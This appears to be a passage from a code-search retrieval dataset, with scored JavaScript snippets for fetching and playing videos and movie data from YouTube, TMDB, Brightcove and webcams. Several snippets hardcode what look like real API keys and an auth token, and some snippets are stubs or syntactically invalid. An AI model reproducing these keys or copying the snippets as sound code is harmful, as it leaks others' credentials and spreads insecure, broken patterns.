{\n\t\t\tif (fetchURL.match('movie')) {\n\t\t\t\tconst request = await axios.get(reqType('movie', movie.id));\n\t\t\t\tsetTrailerID(request.data.results[0].key);\n\t\t\t} else if (fetchURL.match('tv')) {\n\t\t\t\tconst request = await axios.get(reqType('tv', movie.id));\n\t\t\t\tsetTrailerID(request.data.results[0]?.key);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "6afc2e4606c38d5a15c5720cdc9bef25", "score": "0.66203964", "text": "function getVideos(){\n}", "title": "" }, { "docid": "b13c4ac2eaa836cf5d692be60d3c618c", "score": "0.66067904", "text": "async function getVideo(req, res) {\n try {\n console.log(\"req.params\", req.params);\n const videoId = req.params.id;\n const video = await videoService.getById(videoId);\n res.send(video);\n } catch (err) {\n logger.error(\"Cannot get video\", err);\n res.status(500).send({ err: \"Failed to get video\" });\n }\n // const videoId = req.params.videoId\n // videoService.getById(videoId)\n // .then(video => {\n // res.json(video)\n // })\n}", "title": "" }, { "docid": "cdcf0f2a8ac48e60f0e77135f8af16cb", "score": "0.6559624", "text": "getIframe(callback) {\n this.getVideo(callback);\n }", "title": "" }, { "docid": "519dab3e43202ef1a5d0882a536413f5", "score": "0.6544346", "text": "function getVideo(url) {\n\t\t\t$.getScript(oEmbedEndpoint + '?url=' + url + '&maxwidth&maxheight&callback=' + oEmbedCallback);\n\t\t}", "title": "" }, { "docid": "09dfd06b28a6465e3d49d8d06f3a2fa1", "score": "0.654099", "text": "function testChannel() {\n var videos = getVideos ('TefalCZSK')\n Logger.log(videos[0]);\n}", "title": "" }, { "docid": "a4d0c5f834a1a5f05aded57f6333ab91", "score": "0.65311855", "text": "function getStream() {\n return videoStream;\n}", "title": "" }, { "docid": "dd24e8750c68aeb72fc6aa168b927263", "score": "0.6504739", "text": "function get_video_data(id) {\n\t\tvar details = {\n\t\t\turl: 'http://gdata.youtube.com/feeds/api/videos/' + id + '?v=2&alt=jsonc',\n\t\t\tdataType: 'jsonp'\n\t\t};\n\n\t\treturn details;\n\t}", "title": "" }, { "docid": "2582bfe9cfecd28accaa5a497f66eea4", "score": "0.649777", "text": "function internetVideoArchive() {\n // var ivaUrl = 'https://ee.iva-api.com/Movies/1';\n var ivaUrl = 'https://ee.iva-api.com/Videos/GetVideo/1';\n var dt = new Date();\n dt.setMonth(11);\n var stamp = dt.toISOString();\n ;\n // var ivaUrl = 'https://ee.iva-api.com/ExternalIds/ImdbMovie';\n var query = {\n // Skip: 0,\n // Take: 30,\n Format: 'mp4',\n Expires: stamp,\n format: 'json',\n 'subscription-key': '66319ae0cd76409cb63e30a70eaad1c2'\n };\n $.getJSON(ivaUrl, query, function (resp) {\n // console.log('IVA', resp)\n });\n}", "title": "" }, { "docid": "01ad2a864fa95312a389cc06d42090f2", "score": "0.64859223", "text": "get baseVideoUrl() {\n return getBaseVideoUrl(this.baseUrl.data);\n }", "title": "" }, { "docid": "79b533a5b32b91f75d01ed16530eb3a1", "score": "0.64736134", "text": "function findStreamingPlatform(movie_id){\n var data = null;\n \n var xhr = new XMLHttpRequest();\n xhr.withCredentials = true;\n \n xhr.addEventListener(\"readystatechange\", function () {\n if (this.readyState === this.DONE) {\n console.log(this.responseText);\n }\n });\n \n xhr.open(\"GET\", \"https://utelly-tv-shows-and-movies-availability-v1.p.rapidapi.com/idlookup?country=US&source_id=\"+movie_id+\"&source=tmdb\", false);\n xhr.setRequestHeader(\"x-rapidapi-host\", \"utelly-tv-shows-and-movies-availability-v1.p.rapidapi.com\");\n xhr.setRequestHeader(\"x-rapidapi-key\", \"13521bddf5mshd6c32570b973587p160028jsnc3ebb0ee1dae\");\n \n xhr.onload = function(){\n data = JSON.parse(xhr.response);\n }\n\n xhr.send(data);\n return data;\n}", "title": "" }, { "docid": "184865c3f2297466c55f358178f40fbd", "score": "0.64629334", "text": "function getMediaData(callback) {\n var httpRequest = new XMLHttpRequest(),\n responseData,\n parsedData,\n requestURL =\n \"https://edge.api.brightcove.com/playback/v1/accounts/\" +\n account_id +\n \"/playlists/\" +\n playlist_id +\n \"?limit=100\";\n // response handler\n getResponse = function() {\n try {\n if (httpRequest.readyState === 4) {\n if (httpRequest.status >= 200 && httpRequest.status < 300) {\n responseData = httpRequest.responseText;\n parsedData = JSON.parse(responseData);\n videoData = parsedData.videos;\n feedname = parsedData.name;\n if (mrssOutput) {\n callback();\n } else {\n callback();\n }\n } else {\n alert(\n \"There was a problem with the request. Request returned \" +\n httpRequest.status\n );\n }\n }\n } catch (e) {\n alert(\"Caught Exception: \" + e);\n }\n };\n // set response handler\n httpRequest.onreadystatechange = getResponse;\n // open the request\n httpRequest.open(\"GET\", requestURL);\n // set headers\n httpRequest.setRequestHeader(\"Accept\", \"application/json;pk=\" + policyKey);\n // open and send request\n httpRequest.send();\n }", "title": "" }, { "docid": "eb20ac9ca8739d32696fdf039f09b62d", "score": "0.64411867", "text": "function getVideo(req, res) {\n const code = req.query.code;\n console.log('Getting video with code:', code);\n\n db.Video.findOne({\n where: { code },\n }).then((video) => {\n res.send(video);\n });\n}", "title": "" }, { "docid": "2e61d0f87cb7d9349f6c3b30ef088974", "score": "0.64384884", "text": "function fecharSala()\r\n{\r\n api.isVideoAvailable().then(available => {\r\n api.dispose();\r\n });\r\n}", "title": "" }, { "docid": "be6bd2d5d7acceb518bab09ebefabb20", "score": "0.6422603", "text": "get(req, res){\n Video.findById(req.params.id)\n .exec(function(err, video){\n if(err){\n console.log(\"error retrieving video\");\n }else{\n res.json(video);\n }\n });\n }", "title": "" }, { "docid": "6f0730a04c76ac3ed8613df194d8c230", "score": "0.6410204", "text": "function getVideo() {\n // From navigator access media devices and get the user media.\n navigator.mediaDevices.getUserMedia({ video: true, audio: false})\n // This returns a promise that is an object of data.\n .then(localMediaStream => {\n // This is now deprecated: video.src = window.URL.createObjectURL(localMediaStream)\n // Pass the media object as a srcObject to the video directly.\n video.srcObject = localMediaStream\n video.play()\n })\n // Catch the error:\n .catch(error => console.error(`Something went wrong:`, error))\n}", "title": "" }, { "docid": "4196f4f6b887b564bf9a5d5153e8153f", "score": "0.6409819", "text": "function getMovieInfo() {\n // http://www.omdbapi.com/?t=wall-e&apikey=3a2fe8bf\n}", "title": "" }, { "docid": "90f50cecd43d9de18e193feeef77aa2f", "score": "0.6405105", "text": "onCreateVideoDetailsRequest() {\n const request = gapi.client.youtube.videos.list({\n id: this.id,\n part: \"snippet,contentDetails,statistics\"\n });\n request.execute(response => {\n const results = response.result;\n console.log(results);\n this.onPopulateVideoInfo(results);\n });\n }", "title": "" }, { "docid": "57e3e2f108e34b6ab816e19222b11ec1", "score": "0.639934", "text": "function getAllVideoData(){\n return videoData;\n}", "title": "" }, { "docid": "10bbe15dc86dc6b12c901023fcab0db0", "score": "0.639442", "text": "function getVideo() {\n // Ask for webcam permission\n navigator\n .mediaDevices\n .getUserMedia({ video: true, audio: false })\n .then((localMediaStream) => {\n // Send stream to video player\n video.srcObject = localMediaStream;\n video.play();\n // When fully loaded, store dimensions and send to canvas\n video.onloadedmetadata = () => paintToCanvas();\n })\n .catch((err) => {\n console.error(err);\n strip.innerHTML = 'Webcam permission required.';\n });\n}", "title": "" }, { "docid": "fea2249aeb944c0b87219deeb8a44093", "score": "0.63797736", "text": "loadMovie() { \n var url = \"https://api.themoviedb.org/3/discover/movie?api_key=\" + API_KEY + \"&language=en-US\";\n this.fetchURL(url, 1);\n }", "title": "" }, { "docid": "6ac83d368131919d8e54f8a78d8ba952", "score": "0.6372976", "text": "get video() {\n if (this.isVideo) {\n return this.message.video;\n }\n\n return null;\n }", "title": "" }, { "docid": "7b6c1ce4d269f3df60347caa2fe95ab1", "score": "0.6369185", "text": "function findVideo() {\n return document.getElementsByTagName('video')[0];\n}", "title": "" }, { "docid": "5bf5a6b1d6e57cd9caa7f8da90bb1101", "score": "0.6367879", "text": "async function getVideos() {\n const response = await axios.get(`${server}:${port}/list`);\n return response.data;\n}", "title": "" }, { "docid": "70be87422e0760d518927c0cc74831c6", "score": "0.63458645", "text": "function getVideo(req, res){\n \n var videoId = req.params.id;\n \n Video.findById(videoId).populate({path: 'playlist'}).exec((err, video)=>{\n \n if(err){\n res.status(500).send({message: 'Error en la peticion'});\n \n }else{\n if(!video){\n res.status(404).send({message: 'El video no existe'});\n \n \n }else{\n res.status(200).send({video});\n \n }\n \n }\n });\n }", "title": "" }, { "docid": "d45b0fdd7f92beede6841a6a1fb7287f", "score": "0.6326238", "text": "function openWithGet() {\n var url = MistUtil.http.url.addParam(MistVideo.urlappend(options.host+\"/json_\"+encodeURIComponent(MistVideo.stream)+\".js\"),{metaeverywhere:1});\n MistVideo.log(\"Requesting stream info from \"+url);\n MistUtil.http.get(url,function(d){\n if (MistVideo.destroyed) { return; }\n onStreamInfo(JSON.parse(d));\n },function(xhr){\n var msg = \"Connection failed: the media server may be offline\";\n MistVideo.showError(msg,{reload:30});\n if (!MistVideo.info) {\n MistUtil.event.send(\"initializeFailed\",null,options.target);\n MistVideo.log(\"Initialization failed\");\n }\n });\n }", "title": "" }, { "docid": "602230a1261455bd39c565ca7743127e", "score": "0.63097507", "text": "function req_vid(region_code) {\n var url = \"https://www.googleapis.com/youtube/v3/videos?part=snippet&chart=mostPopular&regionCode=\" + region_code + \"&key=\" + API_KEY;\n\n $.get(url, function(data) {\n update_vidobjs(data);\n fill_info();\n });\n\n}", "title": "" }, { "docid": "3181ad35ff54798fedda8d9f6c51439e", "score": "0.6297281", "text": "ready(options, resolve, reject) {\n ATV.Ajax\n .get('http://api.crystal.dev/videos', {\n headers: {\n Authorization: `Basic ${btoa('bBwUWJzz7JkwpjVEu1nVL2cE3V9uzmXc')}`\n },\n data: JSON.stringify({ query: 'term' })\n })\n .then((xhr) => {\n let response = xhr.response._embedded.videos;\n resolve(response);\n }, (xhr) => {\n // xhr failed\n let response = xhr.response;\n reject({\n status: xhr.status,\n message: response.message\n });\n });\n }", "title": "" }, { "docid": "9e211e4791ab4abca2a267f31e353096", "score": "0.6294317", "text": "getVideo(videoResolvable) {\n return __awaiter(this, void 0, void 0, function* () {\n const id = yield services_1.GenericService.getId(this, videoResolvable, entities_1.Video);\n return services_1.GenericService.getItem(this, entities_1.Video, false, id);\n });\n }", "title": "" }, { "docid": "64608608596c2a7e88f921a6f8eccdaf", "score": "0.6281863", "text": "async function getMainVideoByPreference (req, res) {\n let {character, position, tier, page, customed} = req.query;\n let videos;\n\n try {\n page = parseInt(page);\n \n if (!customed) {\n videos = await Video.getMainVideos(page);\n\n } else {\n videos = await Video.getFilteredMainVideos(page, character, position, tier);\n }\n\n videos = videos.map((video) => generateVideoData(video));\n\n res.json({\n code: Code.GET_VIDEO_SUCCESS,\n data: {\n videos\n }\n });\n } catch (e) {\n console.log(e);\n responseByCode(res, Code.GET_VIDEO_FAIL, 400);\n }\n}", "title": "" }, { "docid": "3fe8a4a791efd34d7c53f3e3aba5c7c2", "score": "0.62796634", "text": "function getVideos(movieId, videoContainer, showCloseBtn) {\r\n //generate movie url\r\n const path = `/api/movie/${movieId}/videos`\r\n const url = generateUrl(path);\r\n // fetch movie videos\r\n fetch(url)\r\n .then((res) => res.json())\r\n .then((data) => { createVideoTemplate(data, videoContainer, showCloseBtn) })\r\n .catch((err) => {\r\n console.log(err)\r\n });\r\n}", "title": "" }, { "docid": "6ad10191b66e47a79a2dac61f0962651", "score": "0.62754035", "text": "function getLatestVideo(callback, req, res) {\n var service = google.youtube('v3');\n\n channel = req.query.search;\n update_widget(req.query.id_bdd, channel);\n service.search.list({\n key: key.youtube.token,\n part: 'snippet',\n channelId: channel,\n maxResults : \"10\",\n order: \"date\",\n type: \"video\"\n }, function (err, response) {\n if (err) {\n console.log('The API returned an error:widget ' + err);\n return;\n }\n var videos = response.data.items;\n if (videos.length == 0) {\n console.log('No channel found.');\n } else {\n callback(videos, req, res)\n }\n });\n}", "title": "" }, { "docid": "8dbac9481e25ec581a53fb41dda4da33", "score": "0.62669027", "text": "function getVideo () {\n navigator.mediaDevices.getUserMedia({video: true, audio: false}) // promise\n .then(localMediaStream => {\n console.log(localMediaStream)\n video.srcObject = localMediaStream; // createObjectURL disabled in Chrome\n video.play(); \n }).catch(err => {\n console.log(\"Please allow app access to webcam\", err);\n });\n }", "title": "" }, { "docid": "23da33716fc8acd5a3d24871dff6767a", "score": "0.62438005", "text": "getResultVideoGet(queryParams, headerParams, pathParams) {\n const queryParamsMapped = {};\n const headerParamsMapped = {};\n const pathParamsMapped = {};\n Object.assign(queryParamsMapped, convertParamsToRealParams(queryParams, GetResultVideoGetQueryParametersNameMap));\n Object.assign(headerParamsMapped, convertParamsToRealParams(headerParams, GetResultVideoGetHeaderParametersNameMap));\n Object.assign(pathParamsMapped, convertParamsToRealParams(pathParams, GetResultVideoGetPathParametersNameMap));\n return this.makeRequest('/operations/{oid}/content', 'get', queryParamsMapped, headerParamsMapped, pathParamsMapped);\n }", "title": "" }, { "docid": "4b5656be7e5cc45325d2d26c6821d4d8", "score": "0.6241441", "text": "function getDownloadVideoURL(vId, vTId, vFormat) {\r\n\treturn ytHost + \"/get_video?video_id=\" + vId + \"&t=\" + vTId + ((vFormat == \"\") ? \"\" : \"&fmt=\" + vFormat);\r\n}", "title": "" }, { "docid": "b6ad01b30d9df14cde659ff7176b9870", "score": "0.62203974", "text": "getBrightcoveVideos() {\r\n var headers = {\r\n \"Content-Type\": \"application/x-www-form-urlencoded\"\r\n }\r\n var data = `client_id=${extensionField.config.client_id}&client_secret=${extensionField.config.client_secret}&grant_type=client_credentials`;\r\n var url = extensionField.config.oauthUrl\r\n return new Promise((resolve, reject) => {\r\n getData({ url: url, headers: headers, method: 'POST', data: data })\r\n .then(function (data) {\r\n return data;\r\n })\r\n .then(function (data) {\r\n var headers = {\r\n \"Authorization\": `Bearer ${data.access_token}`\r\n }\r\n var url = `${extensionField.config.brightcoveUrl}?limit=${limit}&offset=${offset}`;\r\n getData({ url: url, headers: headers, method: 'GET' }).then(function (data) {\r\n resolve(data);\r\n })\r\n .catch(function (err) {\r\n throw err\r\n })\r\n })\r\n })\r\n }", "title": "" }, { "docid": "f5e453ef789fe00159b867867d961869", "score": "0.62184495", "text": "function getVideoFile(filename, callback) {\n // We get videos directly through the video device storage\n var req = videostorage.get(filename);\n req.onsuccess = function() {\n callback(req.result);\n };\n req.onerror = function() {\n console.error('Failed to get video file', filename);\n };\n}", "title": "" }, { "docid": "6aad4ba1cecb1a509b375d0fcbd77e67", "score": "0.62166446", "text": "async getCaptureVideo (cmdInv, request, response) {\n\t\tconst sensor = `${cmdInv.params.sensor}`;\n\t\tif (this.sensors[sensor] == null) {\n\t\t\tApp.systemAgent.writeResponse (request, response, 404);\n\t\t\treturn;\n\t\t}\n\t\tconst task = await this.getCaptureVideoTaskGroup.awaitRun (new GetCaptureVideoTask ({\n\t\t\tserver: this,\n\t\t\trequest: request,\n\t\t\tresponse: response,\n\t\t\tcmdInv: cmdInv\n\t\t}));\n\t\tif (! task.isSuccess) {\n\t\t\ttry {\n\t\t\t\tApp.systemAgent.writeResponse (request, response, 500);\n\t\t\t}\n\t\t\tcatch (err) {\n\t\t\t\tLog.debug4 (`${this.toString ()} getCaptureVideo response failed; err=${err}`);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "36b64807cd56d3e28982066c98af21bd", "score": "0.6212469", "text": "function getVideos(){\n \n ajax = new XMLHttpRequest();\n var url = \"http://localhost/Play_List/php/API.php?command=getVideos\";\n ajax.open(\"GET\", url, true);\n ajax.onreadystatechange = handleResponse;\n ajax.send();\n}", "title": "" }, { "docid": "15c01d601300b52491e18101a0a95dd1", "score": "0.6187052", "text": "function downloadVideo(videoUrl, downloadPath, downloadAs){\n let arg = {\n 'videoUrl': videoUrl,\n 'downloadPath': downloadPath,\n 'downloadAs' : downloadAs\n }\n console.log(arg)\n getVideo(arg)\n}", "title": "" }, { "docid": "793d9567bf28fe2187ab38845dfb75fb", "score": "0.6178659", "text": "function movieinfo() {\n \n var queryURL = \"http://www.omdbapi.com/?t=rock&apikey=388edf5a\";\n // Creating an AJAX call for the specific movie \n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n console.log(response);\n }\n)}", "title": "" }, { "docid": "74f51756c038c3465da56d7dd8d61b29", "score": "0.61475873", "text": "function getVideo()\n{\n\tlocalVideo = document.getElementById('localVideo');\n \n\t//close all tracks and connections\n\tcloseAllConnection();\t \t\n\t\n\tvar audioSource = document.getElementById(\"audioSource\").value;\n\tvar videoSource = document.getElementById(\"videoSource\").value;\n\t\n f_getQuality();\n \n remoteVideo = document.getElementById('remoteVideo');\n\n var constraints =\n {\n audio: {sourceId: audioSource ? audioSource : undefined},\n\t\t\t\n\t\tvideo: {\n\t\t\tmandatory: {\n\t\t\t\tminWidth: l_maxWidth ,\n\t\t\t\tmaxWidth: l_maxWidth ,\n\t\t\t\tminHeight: l_maxHeight,\n\t\t\t\tmaxHeight: l_maxHeight\n\t\t\t\t},\n\t\t\t optional: [{\n sourceId: videoSource ? videoSource : undefined\n }]\t\n\t\t\t}\n\t\t\t\n\t\t\t\n };\n\n if(navigator.getUserMedia)\n { \n\t navigator.mediaDevices.getUserMedia(constraints).then(getUserMediaSuccess).then(gotDevices).catch(handleError);\t\t\t\t\n }\n else\n {\n alert('Your browser does not support getUserMedia API');\n }\n\t\t\n}", "title": "" }, { "docid": "f98712ba1816c91d451a9af974fb84f9", "score": "0.61305076", "text": "function getVideoId() {\n return videoId;\n }", "title": "" }, { "docid": "ce285ff769642c210dd8341a4fe91580", "score": "0.61242646", "text": "function obtenerVideoId(callback){\r\n const nuevaSolicitudGet = require('../utilidades/utilidadesHttp').nuevaSolicitudGet;\r\n let url = 'https://www.googleapis.com/youtube/v3/search?part=snippet&channelId=' +\r\n clavesYoutube['channelId'] +\r\n '&eventType=live&type=video&key=' +\r\n clavesYoutube['apiKey'];\r\n nuevaSolicitudGet(url, (respuestaApiYoutube) => {\r\n try {\r\n let videoId = respuestaApiYoutube['items'][0]['id']['videoId'];\r\n conectarConYoutube(videoId); // Obtengo el videoId del streaming a traves del channelId\r\n callback(videoId);\r\n } catch (e) {\r\n console.log(Color.red('[YOUTUBE] [ERROR] ' + \"No se pudo obtener el videoId del directo\"));\r\n }\r\n });\r\n}", "title": "" }, { "docid": "1545b9996e472763d533aa6d75968199", "score": "0.6112588", "text": "function requestVideo() {\n if (livechat.vm.agentName != '' && requestCall) {\n var namevideo = \"client_\" + (moment().format('YYYYMMDD_HHmmss')) + \"_client_\" + livechat.vm.userid + \"_\" + livechat.vm.agentNum + \"_\" + livechat.vm.livechatid + \"_\" + livechat.vm.chathistory;\n var Action = {\n id: \"USER_REQUEST_VIDEO\",\n command: \"USER_REQUEST_VIDEO\",\n code: \"81012\",\n message: {\n videoname: namevideo,\n videourl: namevideo,\n session: livechat.vm.sessionid\n }\n };\n sendMessage(Action);\n livechat.vm.display = \"video\";\n showPanel(livechat.vm.display);\n\n }\n}", "title": "" }, { "docid": "cf4ac38fd9a0d0d60ce67307b391c54d", "score": "0.6110343", "text": "get WebCam() {}", "title": "" }, { "docid": "d5df3325d1df5f423a8cc8be7d5b3a2d", "score": "0.6098351", "text": "get videoStream() {\n return this._videoStream;\n }", "title": "" }, { "docid": "22aebc6a40777ecd78f857f5b26f1b03", "score": "0.6065424", "text": "getMoviesFromApi () {\n const moviesResp = api.getMoviesFromApi();\n console.log(\"Movies response in the api is: \", moviesResp);\n }", "title": "" }, { "docid": "401511810c0e1b5941cefbd621d1d863", "score": "0.60614306", "text": "async function getVideoLinkFromUrl(req, res) {\n try {\n const url = req.body.url;\n // Optional arguments passed to youtube-dl.\n const options = [\"--skip-download\"];\n youtubedl.getInfo(url, options, function(err, info) {\n // info.protocol\n // protocol: https or http == video/mp4\n // protocol: http_dash_segments == application/dash+xml\n // protocol: m3u8 == application/x-mpegURL\n let videoFileFormat, videoUrlLink;\n if (info !== undefined) {\n if (info.protocol == \"https\" || info.protocol == \"http\") {\n videoUrlLink = info.url;\n videoFileFormat = \"video/mp4\";\n } else if (info.protocol == \"m3u8\") {\n videoUrlLink = info.url;\n videoFileFormat = \"application/x-mpegURL\";\n } else if (info.protocol == \"http_dash_segments\") {\n videoUrlLink = info.url;\n videoFileFormat = \"application/dash+xml\";\n } else {\n videoUrlLink = \"not-supported\";\n videoFileFormat = \"not-supported\";\n }\n } else {\n videoUrlLink = \"not-supported\";\n videoFileFormat = \"not-supported\";\n }\n const videoDataFromUrl = {\n input_url_link: url,\n video_url: videoUrlLink,\n video_file_format: videoFileFormat\n };\n if (videoUrlLink !== \"not-supported\" || videoFileFormat !== \"not-supported\") {\n res.json(videoDataFromUrl);\n } else {\n res.json(\"failed-get-video-url-from-provided-url\");\n }\n });\n } catch (e) {\n res.json(\"failed-get-video-url-from-provided-url\");\n }\n}", "title": "" }, { "docid": "24c6643070f4336b37ed2945fd058832", "score": "0.60577875", "text": "videoById(req, res)\n {\n var _id = req.params.id;\n if (_id) {\n this.model.findById(_id, function (err, results) {\n if(err)\n {\n console.error(err);\n res.status(500).json(err);\n }\n else {\n if (results)\n res.send(results);\n else\n res.status(404).send(\"Video \" + _id + \" not found\");\n }\n });\n }\n else {\n res.send(\"A valid video ID must be given\");\n }\n }", "title": "" }, { "docid": "8189dabe0f4dfa7611a3766838db8444", "score": "0.599544", "text": "function getVideoMetaData(opts, callback) {\n debug('fn: getVideoMetaData');\n var videoId;\n if (typeof opts === 'string') {\n videoId = opts;\n }\n if (typeof opts === 'object') {\n videoId = opts.videoId;\n }\n var uri = 'https://www.youtube.com/watch?hl=en&gl=US&v=' + videoId;\n var params = _url.parse(uri);\n params.headers = {\n 'user-agent': _userAgent,\n 'accept': 'text/html',\n 'accept-encoding': 'gzip',\n 'accept-language': 'en-US'\n };\n params.headers['user-agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15';\n _dasu.req(params, function (err, res, body) {\n if (err) {\n callback(err);\n }\n else {\n if (res.status !== 200) {\n return callback('http status: ' + res.status);\n }\n if (_debugging) {\n var fs = require('fs');\n var path = require('path');\n fs.writeFileSync('dasu.response', res.responseText, 'utf8');\n }\n try {\n _parseVideoInitialData(body, callback);\n }\n catch (err) {\n callback(err);\n }\n }\n });\n}", "title": "" }, { "docid": "10cbbab1b1bfb1d5611fabe221a6a605", "score": "0.59819365", "text": "function movieRequest = function(){\n movies.forEach(function(movie){\n var url = \"http://omdbapi.com/?t=\" + movie \n })\n }", "title": "" }, { "docid": "5744a256fb46a56c43a16277fb3f2c0c", "score": "0.59818417", "text": "get autoPlayVideo(){\n return $('#Video-1 > section > div > button > div > video');\n }", "title": "" }, { "docid": "a70765185e986d5e3b184397ea6d8d7f", "score": "0.5977277", "text": "function getLinkVideoHd(urlVideo,callback){\n var url = 'getVideoHd.php?link=' + urlVideo;\n $.ajax({\n url: url\n }).done(function(response){\n var data = JSON.parse(response);\n callback(data.url);\n });\n}", "title": "" }, { "docid": "ff13c65d272130cc32114447c0733c8b", "score": "0.59760636", "text": "async function loadVideo() {\n const video = await setupCamera();\n video.play();\n return video;\n}", "title": "" }, { "docid": "39ab0e110ace259eb15d557ad14f24b7", "score": "0.59740585", "text": "async GET_VIDEOS({commit}) {\n try {\n commit('SET_PRELOADER', null, {root: true});\n const videoList = await axios.get('https://api.pexels.com/videos/popular?page=1&per_page=12', {\n headers: {\n Authorization: process.env.VUE_APP_API_KEY\n }\n });\n commit('SET_VIDEOS', videoList.data.videos);\n return videoList;\n } catch (err) {\n if (err.response) {\n commit('SET_ERROR_RESPONSE_VIDEOS', true);\n } else if (err.request) {\n console.log(err.request);\n }\n } finally {\n commit('REMOVE_PRELOADER', null, {root: true});\n }\n }", "title": "" }, { "docid": "01f053c4f0f65f686f7a7586721be92b", "score": "0.59633857", "text": "function getMedia(search, endpointMedia, mediaType) {\r\n\r\n // Effettuo la chiamata ajax all'API del movie database, per ottenere\r\n // le schede dei media.\r\n $.ajax(\r\n {\r\n \"url\": endpointMedia,\r\n \"data\": {\r\n \"api_key\": \"04bbabd51c895f6f8040168aa7e1cd41\",\r\n \"query\": search,\r\n \"language\": \"it-IT\",\r\n \"include_adult\": false\r\n },\r\n \"method\": \"GET\",\r\n \"success\": function (data) {\r\n\r\n // Salvo la lista dei media in un array.\r\n var listaMedia = data.results;\r\n\r\n // Se la lista media non è vuota, stampo i risultati.\r\n if (listaMedia.length != 0) {\r\n\r\n // Eseguo la funzione di stampa.\r\n renderMedia(listaMedia, mediaType);\r\n\r\n // Altrimenti, se è vuota.\r\n } else {\r\n\r\n printError(mediaType);\r\n }\r\n\r\n // Stabilisco l'endpoint del tipo di media.\r\n if (mediaType == film) {\r\n var endpointActors = \"https://api.themoviedb.org/3/movie/\"\r\n var listaMedia = $(\"#movies-list .media\");\r\n } else if (mediaType == serie) {\r\n var endpointActors = \"https://api.themoviedb.org/3/tv/\"\r\n var listaMedia = $(\"#series-list .media\");\r\n }\r\n\r\n // Creo un ciclo sui media.\r\n listaMedia.each(\r\n function () {\r\n\r\n // Acquisisco il data-id\r\n var id = $(this).attr(\"data-id\");\r\n\r\n // Parte la funzione di ricerca degli attori.\r\n getActors(endpointActors, id)\r\n\r\n }\r\n );\r\n\r\n },\r\n \"error\": function (err) {\r\n alert(\"Errore!\");\r\n }\r\n }\r\n );\r\n }", "title": "" }, { "docid": "dba4ec5ebc92dc36d037d55e370ac5e0", "score": "0.5958536", "text": "function get_movie(url) {\n return new Promise((resolve, reject) => {\n request(url, (error, response, body) => {\n if (error) reject(error);\n if (response.statusCode != 200) {\n reject('Invalid status code <' + response.statusCode + '>');\n }\n resolve(body);\n });\n });\n}", "title": "" }, { "docid": "a1cf39863f99552ed6d677089827f3c4", "score": "0.59524465", "text": "function getTtvXml(id) {\r\n\tif (id>0) {\r\n\t\treq.open('GET','Ajax/genericAjax.aspx?AjaxSource=TerraMediaCenter.AjaxMediaXml&page=genericAjax_aspx&p1='\r\n\t\t\t+id\r\n\t\t\t+'&p2=10&p3=true&p4=true&p5=true&p6=false',true);\r\n\t\treq.onload = openVideo ;\r\n\t\treq.send(null);\r\n\t}\r\n}", "title": "" }, { "docid": "164c17c67b407b301c61c7d58abdd4a4", "score": "0.5927809", "text": "function getvid(url, pos) {\n var tmp = url.split(\"?\")[1];\n var id = tmp.slice(2, 13);\n \n var source = id;\n var media_type = \"YOUTUBE\";\n \n var tile = add_tile(pos, media_type, source); // 1 is a test value\n\n save_page(pos, media_type, source, tile);\n}", "title": "" }, { "docid": "24cb7a72469c4ae87098d7819758eea4", "score": "0.5927806", "text": "function getLVideo(callbacks) {\n navigator.getUserMedia =\n navigator.getUserMedia ||\n navigator.webkitGetUserMedia ||\n navigator.mozGetUserMedia\n var contriants = {\n audio: true,\n video: true,\n }\n navigator.getUserMedia(contriants, callbacks.success, callbacks.error)\n}", "title": "" }, { "docid": "151725186ccadf4aef91da256280bef6", "score": "0.59250736", "text": "async function newApi(){\r\n $.ajax({\r\n type: \"GET\",\r\n data: {\r\n // Authorization: \"b009bbe253374a6891e99c92b4fc3322\" ,\r\n \r\n },\r\n\r\n url: \" https://itunes.apple.com/lookup?amgVideoId=17120\",\r\n dataType: \"jsonp\",\r\n success: function(data) {\r\n console.log(data);\r\n }\r\n });\r\n \r\n\r\n}", "title": "" }, { "docid": "6fa17beb84d94f3c4048be45ebe96711", "score": "0.59239155", "text": "fetchData() {\n let pathToVideo;\n if (this.props.match.url === \"/\")\n pathToVideo = `${this.props.match.url}videos/1af0jruup5gu`;\n else pathToVideo = this.props.match.url;\n axios\n .get(\n `https://project-2-api.herokuapp.com${pathToVideo}/?api_key=${apiKey}`\n )\n .then((response) => {\n this.setState({ mainVideo: response.data });\n });\n }", "title": "" }, { "docid": "07174240446432112f229553b7a443a1", "score": "0.59141946", "text": "function chooseVideo(){\n player.loadVideoById(data.id.videoId);\n window.postMessage({videoId:data.id.videoId},\"*\");\n }", "title": "" }, { "docid": "7b07bda950ed2d15be072746753cbe66", "score": "0.59115916", "text": "function videoStatus(video) {\n\t \t//console.log(video);\n\t \tlet videoId = video.videoId;\n\t \tlet iframe = video.assets.iframe;\n\t \tlet playable = false;\n\t \tlet status = client.videos.getStatus(videoId);\n\t status.then(function(videoStats){\n\t \t//console.log('status', status);\n\t\t\t//we have the video uploaded, now we need to wait for encoding to occur\n\t \t\tplayable = videoStats.encoding.playable;\n\t \t\tconsole.log('video playable?',videoStats.encoding.playable, playable);\n\t \t\tif (playable){\n\t \t\t\t//video is ready to be played\n\t\t\t\t//and we can get the mp4 url now as well\n\t \t\t\tconsole.log(\"ready to play the video\");\n\t \t\t\tplayReadyTimer = Date.now();\n\t\t\t\tlet uploadSeconds = (uploadCompleteTimer-startUploadTimer)/1000;\n\t\t\t\tlet processSeconds = (playReadyTimer - uploadCompleteTimer)/1000;\n\t\t\t\tconsole.log(\"video uploaded in: \", uploadSeconds);\n\t\t\t\tconsole.log(\"video processed in: \", processSeconds);\n\t \t\t\tconsole.log(iframe);\n\t\t //now we can get the MP4 url, and send the email and post the response\n\t\t\t\tlet videoMp4 = client.videos.get(videoId);\n\t\t\t\tvideoMp4.then(function(mp4Stats) {\n\t\t \t \t\tconsole.log(\"videomp4status\",mp4Stats);\n\t\t \t\t\tmp4 = mp4Stats.assets.mp4;\n\t\t \t\t\tconsole.log(\"mp4 url\", mp4);\n\t\t\t\t\tif(useProduction){\n\t\t\t\t\t\t//if user submitted an email - we are in prod - and can email the link to the videos.\n\t\t\t\t\t\tintercomIntegration(fields.email,player, mp4,mp4Support,uploadSeconds,processSeconds);\n\t\t\t\t\t}\n\t \t\t\t\treturn res.render('video', {iframe, player, 